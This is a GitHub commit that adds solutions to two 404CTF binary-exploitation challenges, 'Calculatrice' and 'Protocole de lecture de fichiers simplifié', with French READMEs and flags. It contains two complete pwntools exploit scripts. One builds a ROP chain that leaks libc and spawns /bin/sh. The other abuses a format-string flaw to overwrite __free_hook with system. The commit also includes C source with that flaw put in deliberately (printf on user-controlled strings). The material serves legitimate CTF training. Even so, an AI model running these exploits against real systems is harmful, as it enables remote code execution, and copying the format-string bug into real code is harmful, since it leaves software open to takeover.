Skip to content

Commit

Permalink
Ajout du challenge "Protocole de lecture de fichiers simplifié" et "C…
Browse files Browse the repository at this point in the history
…alculatrice".
  • Loading branch information
Soremojinsen committed Jun 18, 2023
1 parent c5bb11f commit fa4518b
Show file tree
Hide file tree
Showing 15 changed files with 321 additions and 2 deletions.
15 changes: 15 additions & 0 deletions ExploitationDeBinaires/Calculatrice/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
# Calculatrice

## Énoncé

Raymond Queneau, féru des grands nombres, vous met au défi de compter le nombre de caractères affichables de chaque œuvre de chaque convive du café... Tout en sachant que ceux-ci continuent à écrire ! Vous développez pour cela une application pour vous aider à faire l'Auguste compte.

Auteur: `Woni#3313`

## Niveau du challenge

Challenge de niveau extrême.

## Résolution

Voir le script [exploit.py](exploit.py).
Binary file added ExploitationDeBinaires/Calculatrice/calculatrice
Binary file not shown.
64 changes: 64 additions & 0 deletions ExploitationDeBinaires/Calculatrice/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
from pwn import *

b = ELF("calculatrice")
rop = ROP(b)
#libc = b.libc
libc = ELF('libs/libc.so.6')
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi_r15 = rop.find_gadget(["pop rsi", "pop r15", "ret"]).address
pop_rsp_r13 = rop.find_gadget(["pop rsp", "pop r13", "ret"]).address
pop_rbp = rop.find_gadget(["pop rbp", "ret"]).address

data = 0x404170
new_rbp = 0x4042B0
newstack = 0x404DB0

p = remote('localhost',1337)
#p = b.process()
stage1 = (
b"1*7*1*9*9*9*9*1*1*2*3*5*6"
+ b"*%d" % pop_rdi
+ b"*%d" % b.got["fgets"]
+ b"*%d" % b.sym["puts"]
+ b"*%d" % pop_rsi_r15
+ b"*%d" % newstack
+ b"*0"
+ b"*%d" % pop_rdi
+ b"*%d" % b.sym["stdin"]
+ b"*%d" % b.sym["strsep"]
+ b"*%d" % pop_rdi
+ b"*%d" % newstack
+ b"*%d" % pop_rsi_r15
+ b"*256"
+ b"*P"
+ b"*%d" % b.sym["fgets"]
+ b"*%d" % pop_rsp_r13
+ b"*%d" % newstack
)

log.info(f"\nStage 1 : {stage1}\n")
log.info("Stage 1 length : %d" % len(stage1))
p.recvuntil(b": ")
p.sendline(stage1)
log.info("Sent stage 1 :)")
leak_fgets = u64(p.recvuntil(b"\x7f").ljust(8, b"\0"))
p.recv()
libc.address = leak_fgets - libc.sym["fgets"]
print("libc @ 0x%x" % libc.address)

stage2 = (
p64(0x1337)
+ p64(pop_rsi_r15)
+ p64(0) * 2
+ p64(pop_rdi)
+ p64(next(libc.search(b"/bin/sh\x00")))
+ p64(libc.sym['system'])
+ p64(pop_rdi)
+ p64(0)
+ p64(libc.sym['exit'])
)
if b"\n" in stage2:
log.error("BADCHAR \\n in stage 2")

p.sendline(stage2)
p.interactive()
1 change: 1 addition & 0 deletions ExploitationDeBinaires/Calculatrice/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
404CTF{Le_c0n73_357_b0n!}
Binary file not shown.
Binary file added ExploitationDeBinaires/Calculatrice/libc.so.6
Binary file not shown.
Binary file not shown.
140 changes: 140 additions & 0 deletions ExploitationDeBinaires/ProtocoleDeLectureDeFichiersSimplifie/PLFS.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
#include "PLFS.h"

// DEBUG : gcc -fstack-protector-all -ggdb3 PLFS.c -o PLFS
// PROD : gcc -fstack-protector-all -s PLFS.c -o PLFS && patchelf --set-rpath ./libs --set-interpreter ./libs/ld-linux-x86-64.so.2 PLFS

char *filenames[NB_FILES_MAX] = {0};
char *contents[NB_FILES_DEFAULT] = {CONTENT0, CONTENT1, CONTENT2, CONTENT3};

int main(int argc, char **argv)
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
initfs();
puts(HELLO);
puts(HELPTEXT);

char input[INPUT_MAX_LEN];
char *in2;
while (1)
{
in2 = input;
printf("\n> ");
if (fgets(input, INPUT_MAX_LEN, stdin) == NULL)
{
perror("fgets");
exit(1);
}
input[strcspn(input, "\n")] = 0;
char *command = strsep(&in2, " ");
if (strcmp(command, EXIT) == 0)
{
break;
}
parse(command, in2);
}
return 0;
}

void initfs()
{
filenames[0] = FILE0;
filenames[1] = FILE1;
filenames[2] = FILE2;
filenames[3] = FILE3;
}

__always_inline void parse(char *command, char *argument)
{
if (strcmp(command, HELP) == 0)
{
puts(HELPTEXT);
return;
}
if (strcmp(command, LS) == 0 && argument == NULL)
{
for (int i = 0; i < NB_FILES_MAX; i++)
{
if (filenames[i])
{
puts(filenames[i]);
}
}
return;
}

if (argument != NULL)
{
if (strcmp(command, PUT) == 0)
{
int i = 0;
while (i < NB_FILES_MAX && filenames[i])
{
i++;
}
if (i < NB_FILES_MAX)
{
filenames[i] = (char *)malloc(strlen(argument) + 1);
strcpy(filenames[i], argument);
return;
}
else
{
puts("Le serveur est plein. Opération annulée.");
return;
}
}

if (strcmp(command, GET) == 0)
{
for (int i = 0; i < NB_FILES_DEFAULT; i++)
{
if (strcmp(filenames[i], argument) == 0)
{
printf("Contenu du fichier : ");
printf(contents[i]);
return;
}
}
puts("Le fichier spécifié n'a pas été trouvé ou n'a pas de contenu.");
return;
}

if (strcmp(command, LS) == 0)
{
int found = 0;
for (int i = 0; i < NB_FILES_MAX; i++)
{
if (filenames[i] && *argument && strstr(filenames[i], argument) == filenames[i])
{
printf(filenames[i]);
printf("\n");
found = 1;
}
}
if (!found)
puts("Le fichier spécifié n'a pas été trouvé.");
return;
}

if (strcmp(command, DEL) == 0)
{
for (int i = NB_FILES_DEFAULT; i < NB_FILES_MAX; i++)
{
if (filenames[i] && (strcmp(filenames[i], argument) == 0))
{
free(filenames[i]);
filenames[i] = NULL;
puts("Fichier supprimé.");
return;
}
}
puts("Le fichier spécifié n'a pas pu être supprimé.");
return;
}
}

puts(ERROR);
puts(HELPTEXT);
explicit_bzero(command, INPUT_MAX_LEN);
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define INPUT_MAX_LEN 128
#define LS "ListerLesFichiers"
#define HELP "Aide"
#define GET "RécupérerLeFichier"
#define PUT "EnvoyerLeFichier"
#define DEL "SupprimerLeFichier"
#define EXIT "Quitter"
#define ERROR "Commande non reconnue, affichage de l'aide."

#define HELPTEXT "Liste des commandes :\n\n\t- ListerLesFichiers <Nom_de_fichier>?\n\t- RécupérerLeFichier <Nom_de_fichier>\n\t- EnvoyerLeFichier <Nom_de_fichier>\n\t- SupprimerLeFichier <Nom_de_fichier>\n\t- Quitter\n\t- Aide"
#define HELLO "--- PLFS : Protocole de Lecture de Fichiers Simplifié ---\n"

#define NB_FILES_DEFAULT 4
#define NB_FILES_MAX 7
#define FILENAME_MAX_LEN 128
#define FILE0 "Liste d'œuvres à archiver"
#define FILE1 "Liste d'œuvres à archiver (suite)"
#define FILE2 "Flag archivé"
#define FILE3 "Liste d'œuvres à archiver (sauvegarde)"

#define CONTENT0 "L'Avare\nLouison\nLe Festin de Pierre\nLe Cid\nLes Misérables\nLa mort de César"
#define CONTENT1 "L'Albatros\nCandide\nTropismes\nLe Tartuffe ou l'Imposteur\n"
#define CONTENT2 "404CTF{c3_c0ffr3-f0r7_n_357_p4s_tR35_f0r7}"
#define CONTENT3 "L'Avare\nLouison\nLe Festin de Pierre\nLe Cid\nLes Misérables\nLa mort de César"

void initfs();
__always_inline void parse(char *command, char *argument);
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
# Protocole de lecture de fichiers simplifié

## Énoncé

Alors que vous passez de discussions en discussions, vous remarquez que certains auteurs et autrices n'ont pas encore ajouté leurs écrits à l'incroyable collection du Procope. Proust est parmi ceux-là. Depuis le début de votre pause café, vous le voyez se promener avec ses imposants manuscrits.

Son "logiciel de sauvegarde" ne vous inspire pas confiance...


Auteur: `Woni#3313`

## Niveau du challenge

Challenge de niveau extrême.

## Résolution

Voir le script [exploit.py](exploit.py).
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
#TLDR : format string -> ecriture __free_hook -> shell


from pwn import *
context.arch = 'amd64'
context.endian = 'little'
b = ELF("PLFS")
libc = b.libc

#p = b.process()
p = remote('localhost',1337)

p.recvuntil(b'> ')

p.sendline(b'EnvoyerLeFichier %4$p')
p.recvuntil(b'> ')
p.sendline(b'ListerLesFichiers %')
b.address = (int(p.recvline(), 16) & ~ 0xfff) - 0x2000
print("Binary @ 0x%x" % b.address)
p.sendline(b'SupprimerLeFichier %4$p')
p.recvuntil(b'> ')
p.sendline(b'EnvoyerLeFichier AAAA%20$s')
p.recvuntil(b'> ')
p.sendline(b'EnvoyerLeFichier '+b'A'*15 + p64(b.got['fgets'])) # 15
p.recvuntil(b'> ')
p.sendline(b'ListerLesFichiers AAAA%20$s')
p.recvuntil(b'> ')
leak = u64(p.recvline().rstrip(b'\n').lstrip(b'A'*4).ljust(8, b'\x00'))
libc.address = leak - libc.sym['fgets']
print("libc @ 0x%x" % libc.address)
p.recvuntil(b'> ')
p.sendline(b'SupprimerLeFichier AAAA%20$s')
p.recvuntil(b'> ')
p.sendline(b'SupprimerLeFichier '+b'A'*15 + p64(b.got['fgets']))
p.recvuntil(b'> ')
to_write = {libc.sym['__free_hook']: libc.sym['system']}
atoms = fmtstr.make_atoms(to_write, 2, 2, 4, 1, 'small', b'')
payload = fmtstr.make_payload_dollar(20, atoms, 4)
print(payload)
p.sendline(b'EnvoyerLeFichier AAAA'+payload[0])
p.recvuntil(b'> ')
p.sendline(b'EnvoyerLeFichier '+b'A'*15 + payload[1]) # 15
p.recvuntil(b'> ')
p.sendline(b'ListerLesFichiers A')
p.recvuntil(b'> ')
p.sendline(b'EnvoyerLeFichier /bin/sh')
p.recvuntil(b'> ')
p.sendline(b'SupprimerLeFichier /bin/sh')
p.interactive()
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
404CTF{N3_p45_s3_n0y3r_d4NS_l4_nuMm3rI54tI0n}
Binary file not shown.
Binary file not shown.
4 changes: 2 additions & 2 deletions ExploitationDeBinaires/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,6 @@
- 🟧 [Un tour de magie](UnTourDeMagie)
- 🟧 [La feuille blanche](LaFeuilleBlanche)
- 🟥 [Une citation pas comme les autres [2/2]](UneCitationPasCommeLesAutres2)
- 🟪 Protocole de lecture de fichiers simplifié
- 🟪 Calculatrice
- 🟪 [Protocole de lecture de fichiers simplifié](ProtocoleDeLectureDeFichiersSimplifie)
- 🟪 [Calculatrice](Calculatrice)
- 🟪 [Débordement du Vélocipède Mécanique](DebordementDuVelocipedeMecanique)

0 comments on commit fa4518b

Please sign in to comment.